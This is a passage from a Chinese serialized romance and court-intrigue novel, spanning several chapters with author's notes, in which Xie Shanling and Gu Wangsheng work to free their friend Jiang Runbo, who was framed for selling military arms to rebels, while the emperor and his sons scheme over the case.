顾望笙望着老僧离去的身影,再次长揖到地,人已不见了许久才直起身,眼中全是柔软的感激之色。 当时谢善淩看着他的神情,自己的心也柔软得不成样子。 ——不影响谢善淩离开藏书阁后再度提议去给欺负小孩的戒贪等秃驴一些教训,却全都被顾望笙拒绝。 …… 今日顾望笙本意是和谢善淩出来走走,却不料遇到晦气人和事,暗自观察谢善淩没有发病的症状才稍稍放心,却还是有些担忧,便试探道:“累了吗?要不要先回去休息?” 谢善淩知他意思,摇头道:“无妨。来都来了,你陪我去拜访我一位朋友好不好?他就住这附近。” 顾望笙一怔:“你朋友?当然好。” 谢善淩便领他朝一个方向走去。 顾望笙边走边问:“什么朋友?之前没听你提起过。” 谢善淩淡淡道:“我先前生病吃药伤着了脑子你也知道,记性不比从前……前两日贤直兄来信提起,我才想起来我们同榜的一位好友在浔阳城就任。” 顾望笙听着总觉得微妙,频频瞥谢善淩,却看不出什么破绽,便只当是自己多心。 “既是你特意去拜访的好友,不买点礼物吗?”顾望笙贴心提议。 谢善淩脚下一顿,朝顾望笙点头:“你想得周全,确该如此。” 然而当两人四只手提满了礼物去到谢善淩那位好友江泊润家中,却只见他的老父母在破旧的小院里以泪洗面。 江父用衣袖使劲擦拭红肿的眼睛,努力瞪着眼睛试图看清来者:“两位是……” “老伯,请问这是江泊润的家吗?我叫谢善淩,字思玄,是他同科好友,因事在浔阳城停留,前来叨扰拜访。”谢善淩温声道。 江父闻言,恍然片刻,猛地抓住谢善淩的胳膊,凑近仔细看他的容貌,急切地问:“谢……同科好友……你莫非……莫非是和锐儿同科的状元……谢老太师的孙子……为了民妇之死坚持判处权贵之子、为此不惜烧官服罢官的谢思玄吗?!” “正是晚辈。”谢善淩说。 江父顿时老泪纵横,转身踉踉跄跄地奔到院中扶起老妻,呜咽道:“是锐儿常说的谢大人……锐儿有救了!” 作者有话要说: 皇帝:那一年国师闭关,恩科日子果然就没定好,出来一堆硬脑壳[白眼] 第55章 ◎“账册……给了四皇子……”◎ 谢善淩与顾望笙被迎入屋中, 手中握着两位老人坚持泡来的热茶,面色凝重地听完了他们的叙说。 江锐亦是有才学德行之人,可惜那一届的恩科人才济济,他未能入三甲。 好在他仪表堂堂, 亦在殿试时应答表现不俗, 得蒙帝心, 赐进士出身,后调任浔阳城军器司员外郎。 自上任以来, 江锐一直勤恳,自有报效朝廷的拳拳热心, 然而前不久,他正如常在官署视事, 突然被一伙官兵冲进来扣下带走,不久消息传出,说他胆大妄为, 将看守的浔阳城军械私下卖给匪军! 盗卖军械本就是大罪了,他还卖给匪军! 他父母自然不信儿子能做出如此之事,可事关重大, 官府都不许他们见儿子, 他们也无处伸冤。 浔阳城内上下官员必然是通了气,全都不肯为江锐主持公道,二老便想到上京去伸冤,然而官府以案件牵涉重大为由禁止他们出城,还说若他们敢乱来,就以同伙为名一起抓进牢里。 二老走投无路, 想起儿子常常说起的京中两位同榜好友谢思玄和陈贤直, 便接连写了几封求助信托人送去, 却如石沉大海渺无音讯。 谢善淩叹道:“若他们有心诬陷泊润,必然是他们将信拦下了。否则贤直兄收到信必定不会坐视不理,而我也确实没有收到。” 二老抹着泪,颤巍巍相互搀扶着起身就要朝谢善淩下跪。 谢善淩和顾望笙几乎同时伸手去扶住他们,将他俩按回凳子上坐。 谢善淩:“二老不要如此!泊润为人我自知晓信任,他绝无可能做出这等事来,不是得罪了人,就是替人背了黑锅。我必会救他。” * 从江家出来,谢善淩一路神色怔怔没说话,顾望笙也没说。 回到住处房内,谢善淩才开口:“虽然我信江泊润,保险起见,劳烦你问下宋淮安。顺便问他是和谁做的买卖。” 顾望笙手搭他肩上,试图以此给他一些安慰,同时说道:“这事我也知道,确实和江泊润无关,宋淮安主要是和浔阳城一个叫吴德的佥事做交易。但我一会儿还是传信细问问。” 谢善淩仰起脸看他,低声问:“有法子让我进深牢见泊润一面吗?” 那些人连江锐的父母都不让见,遑论谢善淩。他只能另想法子。 顾望笙没立刻回答,而是微微挑眉:“我初来乍到的,哪有法子。” 看他神色,分明是故意这么说。谢善淩摇摇头:“我此时无心与你逗乐。” 顾望笙却咄咄逼人:“别处也就罢了,你怎么就笃定我一定在浔阳城的牢房里有门路呢?你怎么会知道……临江仙特意叮嘱过我们安插眼线时别遗漏了各地的牢房?” “……合理猜测。”谢善淩说。 “我看你究竟要嘴硬到什么时候去……”顾望笙见他开始皱眉,叹了声气,“好好好这回又放你一马!我去安排。” 谢善淩将脸贴在他搭住自己肩的手背上,一副乖巧地蹭蹭。 “又来这套……” 顾望笙好似抱怨,手却很诚实地翻过来让他蹭手心,还伺机揉了揉他脸,温声安慰:“别太担心,我立刻就去着人安排。” * 很快就得了信儿,顾望笙回来道:“夜深混进去反而容易引人注意,明日你换上狱卒的衣裳,假装是换班的,会有人带你进去。我不能和你一起去,得在外面盯着,万一有变我好和你们里应外合。” 谢善淩点头,问:“泊润……” 顾望笙摇了摇头:“难免遭些毒打,好在没大的事儿。狱卒也不知道究竟是什么原由,刑讯的时候把人都叫出去了。” 谢善淩只好道:“明日我见到他了再问吧。” 翌日一路顺利。顾望笙的眼线狱卒显然在这儿混得很开,沿途都是熟人,没怎么在意就放心地放行了。 乔装打扮的谢善淩在深牢见到了满身血污的江锐。 他骨瘦如柴,靠坐在墙角,闭着眼睛,唯有伤痛难受时的粗重呼吸声让人能确认他还活着。 眼线左右看看,将食盒和钥匙给谢善淩,低声道:“我去外面盯着,不能说太久,尽快。若一会儿实在有人闯进来,你就说是在给他喂粥,防止他死了。” “我知道,多谢。”谢善淩接过来道。 眼线转身朝外走,谢善淩不再耽误,赶紧打开锁进去,蹲到江锐身边小声叫他:“泊润!泊润!” 江锐过了一小会儿才反应过来,缓缓睁开眼睛,迟疑地看向面前狱卒打扮的人。 谢善淩忙道:“我是谢善淩!谢思玄!” 江锐的一只眼睛受了伤不能睁开,另一只也因挨打而有些模糊,脑子因连日不断的高烧而有些糊涂,仔细辨认了许久,一开口,谢善淩记忆中的少年清脆嗓音此刻如破了的风箱,拉动着漏风的肺管子。 “谢……思玄……”他只说这三个字就足够费力,用力喘了好几下。 谢善淩忍着泪扶他坐正,摸了摸他的额头,从怀中掏出药丸:“我听说你受伤生病,带了药丸,你先服下。狱卒王五是可信之人,今后他值班之际会找机会为你涂药喂药,但你们要小心别让人发现。” 江锐本能地抵触了一下,谢善淩明白他的谨慎,将脸凑近给他辨认。 半晌江锐才终于辨认好了,不知哪来的力气,一把抓住他的胳膊:“思玄兄……!” “是我,你小声点。”谢善淩道,“先吃药。” 江锐这才肯将药丸服下,谢善淩从食盒中取出水囊喂他,问他要不要吃粥。 “那之后再说……”江锐喘着气问,“你怎么来了?” “这不重要,时间有限,我问你答,我会救你出去。”谢善淩说。 江锐缓慢点头。 谢善淩直切主题:“他们为何诬陷你?” 江锐半睁着眼睛,低低道:“我无意中发现他们盗卖浔阳城守城军的军械……留心记录了一份账册作为证据……然后……趁四皇子巡查军务到附近城池……连夜过去,将此事告知了他……” 谢善淩心中一顿,眉头已经皱起:“账册呢?” “账册……给了四皇子……”江锐说。 谢善淩攥紧了拳,闭了闭眼睛,低声道:“那你所托非人,据我所知,他并没有将此事抖露出来,外头毫无风声。” 江锐却道:“大概是时机未到……何况……也不能光凭……我一个账本……他应该是在……搜罗证据……一击即中……不能打草惊蛇……” 江锐这话其实很有道理,然而对方是顾裕泽,谢善淩已经无法相信此人。 但他没有多说,只是又问了些细则,江锐将自己知道的一一告知,谢善淩想知道的差不多了,端起温热的粥喂他。 江锐这段时日在牢里吃的都是馊或发霉的食物,乍一闻到好好的粥的清香,原以为会没胃口却也有了胃口,虽然饿过了头一吃东西反而难受,却又想吃。 谢善淩一小勺一小勺地耐心喂他,可还没喂出小半碗,王五就过来催了。 江锐立刻不吃了,说:“你快走吧……我没事……” 谢善淩也利落,搁下碗道:“那泊润的一切就都有劳王五兄多照料了。” 王五点头,找了个借口将谢善淩从安全的后门送了出去,然后匆匆折返。 顾望笙早就在这等着接应,见他出来便现身拉他先走了再说。 两人回到住处,谢善淩将江锐的话一一说出。 “我在朝中混,完全没听说这件事。不过有一说一,浔阳城是老三这边的,这个我知道,临行前我闹着不肯来,老三就跟我交了底,说这里上下都是他的人,让我不必害怕。” 顾望笙说:“而且,你不也说了吗,江泊润也并不知道卖来的钱究竟去了哪里。我虽然讨厌顾裕泽,却也得就事论事。可能江泊润没说错,顾裕泽只是在搜集征集等待时机。” 谢善淩想了又想,没说话。 顾望笙主动道:“我先找个借口试试老三的口风吧。” 他自然不会如实说江锐记了账本,只说江锐坚称什么都不知道就被陷害了,而谢善淩难得有个朋友,难得苦苦哀求自己搭救无辜的朋友,自己色迷心窍就答应了…… 数日后,三皇子回信,先骂了他一通不务正业、整日就知道谢善淩长谢善淩短,连谢善淩朋友的闲事都要管,谢善淩要他死他去不去死啊? 然后还是回答了顾望笙的询问。 大意是他真拿了往日浔阳城盗卖军械的钱,但具体账目他不知道,这方面是老二在管。 可如今顾裕骐要么真是火里那具辨认不出的焦尸,即便活着也是下落不明…… “顾裕珩都那么说了,也许这回真是你错怪顾裕泽了。”顾望笙道,“浔阳城偷卖了军械得来的钱给了顾裕珩他们,顾裕泽没必要替他们兜着来陷害江泊润。或者他确实是在等待合适的时机。” 至此,谢善淩也只能权且相信,道:“当务之急,先将泊润救出来。” “若要救他,按常理,就要证明他没监守自盗,然而这原本就是栽赃的罪名,我们如何证明,那些人都不认。除非京城派人来查这桩冤案。” 顾望笙道,“可此事明面上牵扯顾裕珩,背地里顾裕泽又在克制、不肯打草惊蛇,所以两边的人都不会为此事出力。” “让陈贤直上书。”谢善淩道。 作者有话要说: 陈贤直:我发神威的时候到了[愤怒] 第56章 ◎最终谢善淩只得被迫承诺非必要不使用美人计。◎ 谢善淩传书陈贤直, 等待期间并未闲着,调查起当初究竟是谁下令抓江锐。 这一查,是浔阳城兵器司令,也就是江锐的顶头上司, 名范弛。 他自称核批账目时察觉蹊跷, 留心之下发现了江锐的罪行, 立刻将之逮捕,物证人证俱在。 所谓物证是范弛自称紧急清查库房记下来的数量缺口, 这堪称可笑,谢善淩都不想多说。 倒是人证有点棘手。 除了兵器司中与范弛沆瀣一气的人外, 最要命的人证是出自白龙义军的一个百人小队的队长石宏。 石宏老家在浔阳城外不远的一个村落,他投身义军后混上统管百人的高位, 又离得近,忍不住偷偷往家里送些东西。 那倒是人之常情。 然而他爹好酒好面好炫耀,几杯马尿下肚, 对着同村亲故大肆炫耀,竟都说了出来。 有心之人连夜跑到浔阳城举报线索,得了十两纹银的赏钱。 知府亲自指挥, 在石家周围布下埋伏, 待石宏又一次偷偷回家时将他抓获,关在牢里威逼利诱,想要套问白龙匪军之事,顺藤摸瓜抓出更多人。 石宏虽没读过几本书,平生最敬关二爷,面对拷打与利诱也不心动, 不肯出卖弟兄。 然而没扛过以他家人性命作为逼迫。 好在自知道他被捕, 宋淮安就心知不妙, 火速将可能会遭他连累的投奔义军之人的家人转移。 数量倒不多,因为大部分投奔义军者都是早就家破人亡、孑然一身了的。 石宏实在也是给不出太多线索了,然而杀了他吧又可惜,毕竟难得抓到个活的匪军。就一直关着。 这回可算让他们找到石宏的新用法了。 也不知这回是逼迫还是诱惑,也许因为江锐不是石宏的兄弟,更是朝廷的狗官,于是石宏就无需再敬关二爷,力证他曾亲自负责义军与江锐交易后的军械运送事宜。 正是石宏的指证令江锐百口莫辩,最终得以定罪。 …… 顾望笙小心翼翼地偷看谢善淩脸色,怕他又想起人性恶毒人间无望论然后重燃避世修行之念…… 谢善淩恍若未觉,语气平淡地分析:“虽然你说浔阳城上下都是三皇子一派,然而若真如此,他们何必突然栽赃江泊润?泊润平素性情比起我和陈贤直已经是很温和低调,不太可能得罪人。” “一定和他将账本交给顾裕泽有关。”谢善淩道,“只有他们知道了江泊润知道并有心追查此事,才急着将他灭口。” 顾望笙疑惑道:“你这么说也不是全无道理,也可以顺着这思路往下查。但我有一处很不明。” 谢善淩看他。 顾望笙:“无论浔阳城这波人究竟是朝向老三还是老四,他们既然是因为江泊润察觉了此事而要灭他口,可为什么到现在江泊润还活着?总不能这些人都敢盗卖军械、诬陷朝廷命官了,却临到了不敢对朝廷命官下黑手?” “所以我才怀疑这是顾裕泽的手笔!”谢善淩的语气一时有些暴躁,但很快就自己察觉出来。 他看向顾望笙的眼神中带有些愧疚,嘴唇嗫嚅几下,正要措辞道歉,顾望笙叹了声气,拍了拍他手臂。 “若我有朝一日发觉宋淮安其实与我道不同,骗我多年,我与他割袍断义,恐怕也不能轻易放下。”顾望笙宽慰道。 谢善淩一怔,回过神时不自在地移开了视线。 其实顾望笙早有察觉,虽然谢善淩说起顾裕泽时总是嫌恶,却又何尝不是一种旧情难忘、不能释怀? 只不过这旧情于谢善淩而言不是爱情,是多年的友情,亦是他曾破灭的一处热烈真挚的理想,一朝反目就会更怨恨。 片刻,谢善淩低声道:“我没事……抱歉,我刚刚语气有些坏。” 顾望笙故意打趣:“没事,对我更坏的语气也有过。” 谢善淩无奈地回过头来白他一眼,却知他意思,叹着气摇了摇头:“别说那些有的没的了,继续说正事……” “正因他们没杀江泊润……若是三皇子或二皇子,以他们一贯作风,自是尽早杀了才放心。” 谢善淩缓和语气道,“可若浔阳城只是表面附属于三皇子,实则整个浔阳城上下都是顾裕泽安插的卧底呢?” 他闭上眼睛,脑海中浮现出一个又一个的想法,如同许多缠绕的线头。而他所要做的就是将一个一个线头扯开。 “倘若泊润将盗卖一事对外抖露,会如何呢?”他闭着眼睛慢慢地理顺,“就算此事并不鲜见,毕竟与匪军牵连,无论如何也得给皇帝交代,否则难平圣怒。” “相比三皇子,顾裕泽更不愿意浔阳城官员清洗大换,因为倘若那样,原本已暗中归顺于他的浔阳城就很可能脱离他的掌控……” “可是为什么不索性杀了江泊润……” “江泊润对顾裕泽还有什么利用价值……” 谢善淩喃喃念着,脑袋忽的一阵刺痛,他忍了忍,难忍地皱起了眉头,又觉得有些头晕。 顾望笙察觉不对,急忙道:“你别太勉强自己,不急于这一时。” “不!泊润关在牢中一日,我一日没想通其中关节,他就依旧面临性命之忧。”谢善淩微微喘气,“江泊润……顾裕泽……泊润出身寒微,亲戚少,顾裕泽贪图他什么……” 顾望笙本能地贫了一嘴:“肯定不是贪图他美色。” 谢善淩却仿若被这句话击中了一般,猛然睁开眼睛,转头看着顾望笙。 顾望笙一怔:“不是吧……不可能吧!顾裕泽……他能同时贪图俩美色啊?” 可是他一细思,忍不住倒吸一口凉气:“也不是没可能啊!像我这样专一的男儿本就不多见……话说回来,江泊润长什么样?和你一样漂亮吗?” 谢善淩正要回答,又闭了嘴。这个问题还真是不好回答。 “……不,我不是那个意思。”谢善淩便只是这么说,“我的意思是……算了,肯定不是。” “你说啊。”顾望笙催促,“我好奇。你别管是不是,说给我听听,我给你参详参详。” “没什么。”谢善淩回避道。 顾望笙细细瞅着他的神情,一边眉头渐渐挑高,冷不防道:“莫非只是单纯地因为江泊润是你好友,所以顾裕泽特地放他一条生路?” 谢善淩没有回应,可是在这时候他的沉默便好似默认。 屋内陷入一阵寂静。 许久之后,谢善淩轻声道:“我和他闹翻的时候,他是说过类似的话。” 他话音刚落,顾望笙就马上问:“什么?” “……他说他不知道我对唐献仪之死那样耿耿于怀,他以为我和唐献仪关系不好。说,若他早知如此,会放唐献仪一条生路。” 谢善淩长叹一声气,有些艰难地措辞:“顾裕泽他……他有时的思路非常奇怪。我不知是他天生如此,还是因为自小被贤妃过于严苛管教导致……他对待人与人、与物之间的感情过于淡漠。” “与他好的时候,其实我已经有所察觉。可他知道故意遮掩和伪装,我便以为是我多心,以为只是因为他过于少年持重的缘由。后来吵翻了我才完全意识到这一点。” 他垂眸,似乎陷入到了久远的记忆之中。 顾望笙就站在他身旁,也垂眸,看着他,心口涌起一阵阵的酸意。 并非不相信谢善淩……就连自己也觉得不该吃这味,这实在是有些莫名其妙。然而却就是不悦起来。 明明不久前才一副大度的样子说那些冠冕堂皇的话…… “那他对你是挺特殊的啊。” 谢善淩愣了愣。 醋味蔓延,酸得谢善淩鼻子都有些痒起来。 “他对你这么特殊,你一点也不感动吗?”顾望笙问。 谢善淩冷静下来,扭头仰起脸看着他:“你……嫌你我感情太融洽,不够刺激,又想搞砸,然后循环你恼羞成怒有强迫我、我讨厌你骂你、你越发恼羞成怒强迫我、我更讨厌你骂你……是吗?” 顾望笙被这话猛然警醒,悻悻然地看向别处,支支吾吾道:“没……没……刚刚我说什么了?一下子走神了……” 谢善淩又好笑又无奈,白了他一眼。 顾望笙讪讪地贴过来抱住他。谢善淩嫌弃地耸耸肩,没把人给耸下去,反而搂得更紧了。 “我在操心江泊润的生死大事,你混扯什么?”谢善淩低声斥责他。 顾望笙喃喃道:“可是你给我一种……如果顾裕泽真是为了你而对江泊润网开一面、你就忍不住又要用美人计了的感觉……” 谢善淩:“……” 顾望笙见他不回答,更慌了:“你快骂我混扯啊,你干嘛沉默??” 谢善淩:“…………” “谢善淩!” 谢善淩舔了舔嘴唇,憋出一句:“成大事者不拘小节……” 顾望笙反应强烈:“你还是给我拘一下吧谢善淩!!” 最终谢善淩只得被迫承诺非必要不使用美人计。 但顾望笙还是不放心,拧着眉头嘀咕:“什么叫‘非必要不使用’?什么时候是必要?你一会儿就能说江泊润这事上就必要……” 谢善淩被他念叨得有点恼羞成怒了:“顾望笙你有完没完?” * 浔阳城的一处酒楼外不远。 微微瘸拐的身影停下,抬头,深沉的眼望向三楼凭窗而坐良久发呆的身影。 这几日谢善淩总是如此。 据安插在他和顾望笙住处的眼线回禀,他和顾望笙吵架了。 吵架的缘由是:谢善淩抽丝剥茧,发觉了浔阳城势力的真相,却也由此推测出四皇子对江泊润手下留情的真相。 谢善淩心绪复杂,引来了顾望笙的不满与质问,谢善淩心情跌宕,出口就又不逊,越发惹得顾望笙发怒,动手将谢善淩推倒在地。 虽然顾望笙很快反应过来,匆忙去扶谢善淩试图挽回,可谢善淩的脾气谁都知道,当即打开顾望笙的手。 于是又一顿争吵不休,直到谢善淩发病,顾望笙不敢再闹,勉强道了歉偃旗息鼓,可两人之间难免嫌隙。 谢善淩记仇,对顾望笙冷淡仇怨起来,若非还指望顾望笙救江泊润,恐怕连表面也不会维持。顾望笙拿他没办法。 宁蔚的嘴角不明显地微微上扬。 四皇子还是太了解谢善淩了。 谢善淩吃软不吃硬,却也不能一味纵容,他自幼被娇纵养大,若要重新降服他让他再度为己所用,就得恩威并施,打一棒子给十颗枣。 第57章 ◎你叫临江仙和江泊润没什么关系吧?◎ 谢善淩凭窗吹了好几日的凉风来稳住暗中窥探的宁蔚, 心中越发确信了猜想,也终于收到陈贤直回信,信纸中央一个端正大字:干! 顾望笙眉角一抽,回想在京城偶见陈贤直木讷的书呆子模样, 又想起谢善淩对江泊润素来低调的评价, 啧了一声。 “真是人以群分, 你们这几位都不鸣则已一鸣惊人啊。”他感慨道。 根据旁人所说,以前谢善淩即便还在意气风发的时候, 日常也颇能装,不熟的长辈见了总要夸他遗传了他爹谢三大人的温润之风。 “若非意气相投, 又怎会成为好友。在我生病之前常和陈贤直聚谈,还会和江泊润通信。” 谢善淩的语气里有些悔意, “后来我避世躲人,即便是他俩来信或登门,我都一概没理。好在他二人并未因此怨怼我。” “怎么会?”顾望笙温声宽慰, “你也说了意气相投,数年好友,说不定他们比我更懂你, 自然也懂你的痛苦和倔强, 见你不愿将狼狈的样子现在人前,便给你留出了时间和距离,相信你谢思玄有足够的能力自愈。” 谢善淩看他:“你真的很会安慰人。” 顾望笙哎了一声:“久病成良医~我倒霉那么多年,不把自己安慰好,哪活得下去。” 谢善淩受不了他卖惨,毕竟这人是真惨, 还能在惨况中保留弥足珍贵的真挚赤诚……还长得那么俊美。 当即抱抱给予安慰。 顾望笙柔弱地靠在他怀中, 突然出声询问:“你叫临江仙和江泊润没什么关系吧?” 谢善淩立刻松开他, 转身就要走,被一把拖住从身后抱上来赖着:“我就问问……” “去找临江仙问,不关我事。”谢善淩一脸冷漠,“说不定临江仙是江泊润,喏,都有个江,比我靠得上边多了。” “瞧你这话说得……那会儿临江仙在京城呢。”顾望笙继续死皮赖脸。 谢善淩沉吟片刻,道:“说不定是顾裕泽,他母亲出身蔺家,‘蔺’通‘临’……唔……” 顾望笙不得不堵住他这张就知道怎么气人的嘴。 * 京城中,陈贤直接到谢善淩的来信,当即大怒,先挥毫写完了言辞激愤的陈明江泊润冤情的奏疏递交完,这才回信。 皇帝收到这封奏疏看完,脸色沉了下来,却没急着动怒。 浔阳城,江泊润,陈贤直……必然其中是同样在浔阳城的那两人的同科谢善淩在牵线。这并不难想。 谢善淩与那两人自恩科结识便一直关系很好,一度被引为佳话。 还得怪顾裕帧这个蠢货。 老三送他个镀金的机会,只是让他去浔阳城晃悠几圈住几个月,回来也好一起给他封个王当,省得老三老四都封了,元后嫡子没封,说出去容易引发非议。 ——非得带上谢善淩! 听(老三)说谢善淩还不愿意!顾裕帧搁家里闹了好几天,最后跟绑架似的将人逼着一起去。 老三问他,他说不知要去多久,怕老四偷偷回京给他戴绿帽,得把谢善淩栓自己裤腰带上。 这话说得老三和皇帝都要替谢善淩窒息了。 皇帝原本一直觉得这老大苦了二十多年居然还能好好儿的有点生疑,这下子就明白了。 果然人都有阴暗面,老大被生活折磨出的疯癫劲儿全发泄在谢善淩身上了。 但谢善淩也不是很值得同情。 这不,这不叫人省心的小子也是没闲着,把江锐的事翻了出来,还找陈贤直联手。 浔阳城和老三暗中勾连的那些事儿,皇帝心中早就有数,也是有意纵容。 他原本就偏疼这个儿子,而且老三若想壮大势力,钱必不可少。盗卖公器也不是老三他们开天辟地的干头一遭,睁一只眼闭一只眼也就过去了。 虽说卖给了他最头疼厌烦的起义匪军这令他很生气,但想必都是底下人图省事儿搞的鬼,老二老三要钱也不会不避讳这个。 那么回头把底下人教训教训也就罢了。 明面上不能让老三下不了台,这事儿得压下去,所有的黑锅就顺势让那个无关轻重的江锐背了算了。 ——他原本第一反应确实是这么想的。 可是转念他就想到了谢善淩在这其中可能担任的角色,顿时警觉起来。 自潘家那事后,谢善淩沉寂许久,一副再没心气儿的样子闹着要当道士不问俗世去。 可当初他疯狂较真的样子令皇帝记忆犹新,压根忘不掉。 * 三皇子被紧急召进了宫,还不知道什么事儿呢就被皇帝劈头盖脸地一顿骂。 他云里雾里地听了大半天才听明白,先赶紧跪地痛骂下面的人自作主张! ——别说卖军械给匪军了,就连卖军械这件事他也不想认不能认啊! 皇帝斜眼睨着这个不争气的东西,眉头皱起,忍了又忍,越忍越气,斥道:“知道你不知道这些事……但凡你知道,朕也没这么生气!你一天天的除了吃喝玩乐还能指望你知道些什么?” 三皇子不敢怒也不敢言,唯唯诺诺地将头垂到胸前。 好在皇帝本就对这笨蛋儿子不抱指望,很快就自洽了,重重地叹了一口气。 “如今这事你想……算了你别想了,朕替你想。”皇帝白他一眼,“陈贤直倒还算好说……这事儿让谢善淩盯上,算你们踢到铁板。” 三皇子心里却其实不以为然。 他此刻就想赶紧大事化小小事化了。反正就是个名不见经传的江锐,既然黑锅都已经背上了,不妨背到底,砍了算了。 于是他鼓起勇气嗫嚅道:“何必怕谢善淩呢……他以往是刁蛮,可如今嫁了人,老大成天打他,早就没什么傲气儿心气儿,哪还算什么铁板……” 皇帝却自觉看得透,冷笑道:“老大打他无外乎是吃他和老四的醋!别的地方你难道没看到老大被这姓谢的迷得团团转吗?” 三皇子一想倒也是,可仍然坚持:“那父皇也没必要怕老大啊……” 皇帝猛地一声暴怒:“朕现在谁都不怕,就怕了你!” 气不打一处来,恨铁不成钢地盯着这个连绣花枕头都算不上的纯纯草包——啊!老大也是个草包,但至少绣了花! “用用你的猪脑想想!”皇帝道,“老大管不住谢善淩给江锐伸冤,谢善淩那脾性,若是为别的事也就罢了,江锐和他是至交好友,他绝不会善罢甘休!” 顾裕珩依旧一脸浆糊。 “……”皇帝不得不直接说破,“若江锐出了事,谢善淩肯定发疯,就把你在浔阳城的那点子事儿全都抖出来也不是他做不出来的事!到那时你还封个屁的王,朕不当众处罚你都下不来台。” 顾裕珩终于听明白了,杀心骤起:“谢善淩实在不识好歹,不如索性……” 皇帝彻底不耐烦了,骂道:“索你个头!” 顾裕珩吓得脖子一缩,再度将脑袋垂回胸前,不敢再索。 皇帝反复深呼吸,良久稍稍冷静下来。 “谢善淩暂时还不能动。老大那里不能让他寒了心,跟你离心离德。如今老二不在了,也只能指望老大能接他的班好好辅佐你。”他叹气道,“老四那边也一直盯着谢善淩呢。” 想了又想,皇帝道:“那个江锐……做做样子查出来证据不足,放了得了。朕对他有些印象,人还行,这回也不知是得罪了人还是纯属倒霉背了黑锅……” “就顺势让陈贤直去……”他心思飞速一转,道,“你跟上,一起亲自去浔阳解开这桩冤案,给江锐施施恩。往后……你也总得有些真正能用的忠臣贤臣。” 自己一片拳拳爱子之心,为之计深远,可只看到儿子满脸不情不愿,根本不能体会到自己的良苦用心。 皇帝忍不住闭了闭眼睛,在内心长叹。 身在天家,亲情难得。 因偏爱孩子的母亲而偏爱这个孩子是一回事,还有一个很重要的原因,便是自古皇帝与皇子、太子之间的权力争斗。 儿子正在壮年,老子已朝暮年走去,摆在父子面前的是这世间至高的权势,而能拥有的人只有一个,谁也不能、也不愿与旁人共享。 自古以来为之骨肉相残的也不少! 老二不必说,即便活着,他身体畸形,除非其他皇子死绝了,否则皇帝都不愿考虑他上位。 老四固然优秀,然则心思深沉,而且过于优秀了。他身后还有蔺家做依仗,凌风飞骑所联结到的世家也未免太多…… 若他当上太子,皇帝不知道自己还能在皇位上坐几天! 偏偏老三就是太不成器了……而且,也对自己的手足兄弟太无情了些。 同母而生的他尚且那样,其他还未长大的弟弟们呢??将来他会不会成为秦二世?残杀同父的手足,并受权宦的挟制。 他的脑海里渐渐浮现出老二死讯传来后黯然感慨兔死狐悲的老大。 可惜,娶了个男妻…… 但那男妻是谢善淩,一个至诚至性、而且有能力的人,是个一根筋。 他会担心谢善淩闹事,却不担心谢善淩造反。 倘若老三实在是烂泥扶不上墙,那么老大…… 作者有话要说: 小剧场是玩梗,不代表剧情真实走向。 秦青:淮安,我亲爱的兄弟,当你收到这封信的时候,我已经在京城登基了。 宋淮安:[白眼] 第58章 ◎降服谢善淩是一件很有成就感的事情。◎ 陈贤直出发前先写了信给谢善淩。 这回不再那样凝练, 至少有了两行,说他与三皇子受皇命前往浔阳城断冤案,让谢善淩与江锐放心。 谢善淩却并不放心。 他下意识地焚毁信件——哪怕这封其实不毁也没事——眉间凝重沉思,半晌低声道:“贤直兄天真。正行……” 话音一停, 看着边吃荔枝边抬头看来的顾正行。 “……少吃点。”谢善淩忍不住道, “你都吃上火了。” 浔阳的荔枝出名, 没想到顾望笙很爱吃这个。 原本他爱吃就吃吧,可荔枝是温热之物, 而顾望笙阳气旺盛,两者叠加, 吃得眼底都发红了,今早还在嚷嚷牙疼喉咙疼。 “没吃多少, 一天两三把而已……难得不要钱,不吃浪费了。”顾望笙不舍道。 浔阳官府与荔枝商人自有勾连,走公账大肆采购, 一应官衙里作为普通时令水果供应。 顾望笙这个大皇子殿下的下榻之处自然而然也客气地分有配额。 “不吃也浪费不了,底下的人自会分了拿回家去。”谢善淩继续劝说,一面走去墙角拎起布巾浸湿拧干, 走回来抓住刚又剥了一颗荔枝肉的手, 低头将果肉吃进自己的嘴里。 也不知是有意还是无意,齿尖轻轻刮过顾望笙的指尖,顾望笙顿时从尾脊骨麻到了天灵盖。 原本想小气叨叨才不把这好东西给那一堆来自各处的眼线坏人吃……却压根忘了话怎么说,就只能傻愣愣看着近在眼前谢善淩咀嚼着果肉的嘴巴。 唇倒是闭着,嘴颊微微活动,半晌停住, 喉结上下一滑吞咽下去了。 随后, 这嘴角朝上弯起了一个很小、却分明十分得意的狡黠的幅度。 “狐狸成精啊你……”顾望笙喃喃谴责, 抬手正要摸上谢善淩的脸,谢善淩侧了侧脸躲开,嫌弃道:“手脏,擦干净吧。” 刚刚刻意勾引,此刻却装正经还嫌弃,这不是耍人吗? 当然了,也不是今天头一回被耍了,天天都得被谢善淩玩弄于股掌之间。 这么一想,顾望笙怒从心头起恶向胆边生,存心报复。 他偏不擦手,就这么姿态强硬地捏住谢善淩的嘴旁两颊,稍稍用力逼他张开嘴,露出里头鲜红的舌头和皓齿,凑过去在他不情愿的逼视下反败为胜地强吻。 吻完还不肯罢休,非要将利息也收到手。 顾望笙鼻尖蹭着他脖颈嗅闻,低声揶揄:“是谁一面劝我少吃荔枝,一面知道我喜欢,还特意用荔枝的香膏……” 头一回闻到的时候顾望笙还以为自己吃出幻觉了,尤其是谢善淩还一脸若无其事的镇定样子问他怎么了。 好在他生性多疑,将谢善淩按在墙上闻了许久,又将人搜身,搜出盒面画着荔枝的香膏,严加拷问,谢善淩不得不承认用了这东西。 但是嘴还留有硬的余地,恰如此时谢善淩仍不放弃狡辩:“此地特产,我给我娘我二婶她们带的,一不小心买多了……” 顾望笙:“不管,你就是为悦你者容。” 谢善淩恼羞成犟:“是啊,一会儿我还得去酒楼吹风,宁蔚已经蠢蠢欲动跟我装几回偶遇了。” 一说到这,顾望笙顿时泄了气,松开他。 顾望笙正要瞪几眼聊表愤怒,谢善淩先发制人地瞪他以表愤怒,拿起刚拧的湿布巾擦擦被他弄上黏糊糊荔枝汁水的脸,然后将布巾砸他手上。 顾望笙悻悻然地擦干净自己的手,瞥着谢善淩小声抱怨:“你明明答应我非必要不使用美人计,又骗我,你就是个大骗子……怎么宁蔚也悦你啊?!” 谢善淩也挺糟心:“他替他主人悦……刚刚你打岔,我差点忘说了。” 他白顾望笙一眼才接着道:“虽然我们猜测顾裕泽留着江泊润的命是为了向我卖好,可皇上派三皇子带上陈贤直亲自前来审理此案,事成,三皇子很能落得一个好名声。” 顾望笙笑道:“这不就是你想要的吗?” 前些时日两人通过气。 